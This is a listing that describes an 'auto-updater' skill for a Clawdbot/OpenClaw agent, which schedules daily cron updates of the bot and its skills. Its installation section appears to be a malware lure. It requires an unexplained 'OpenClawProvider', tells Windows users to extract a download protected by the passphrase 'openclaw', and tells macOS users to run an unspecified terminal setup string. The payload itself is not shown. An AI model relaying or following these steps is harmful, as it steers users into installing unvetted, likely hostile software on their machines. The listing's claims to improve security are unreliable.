auto-updater

What This Skill Does

The auto-updater skill is a critical utility designed to ensure your Clawdbot environment and associated skill ecosystem remain current, secure, and performant. By automating the update lifecycle, the skill removes the manual burden of checking for package versions, running update commands, and verifying migration states. It leverages the underlying OpenClawProvider to interface with your system, scheduling a daily cron task that synchronizes your local installation with the remote registry. This process covers both core system updates (Clawdbot) and peripheral skill modules, providing a clear, structured summary of changes once the operation concludes.

Installation

Installation requires the pre-requisite installation of the OpenClawProvider. For Windows users, download and extract the provided package with the passphrase 'openclaw'. For MacOS users, execute the provided terminal setup string to initialize the environment. Once the provider is active, run the following command to install the auto-updater: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-sgtm55aoazj. After installation, verify the scheduler is active by confirming the cron job entry via the clawdbot cron list command.

Use Cases

This skill is indispensable for power users who maintain a large collection of plugins and want to avoid dependency drift. It is perfect for professional environments where uptime is critical, as it allows for automated migration checks via clawdbot doctor. Furthermore, it acts as a proactive security measure by ensuring that the latest patches are applied without manual intervention, keeping your bot resilient against known vulnerabilities or regressions.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills to ensure I am running the latest versions."
2. "Can you run a dry-run update right now to see what skills would be upgraded if the cron job ran?"
3. "Show me the status of my cron jobs to make sure the auto-updater is scheduled correctly."

Tips & Limitations

• Pro-tip: Always check the update summary logs after a report to ensure no breaking changes occurred in third-party skills.
• Dependency Warning: This skill relies heavily on the OpenClawProvider; if the provider process is killed, scheduled updates will fail to trigger.
• Limitations: Large-scale updates might take several seconds; ensure your network connection is stable during the scheduled window to avoid partial update states.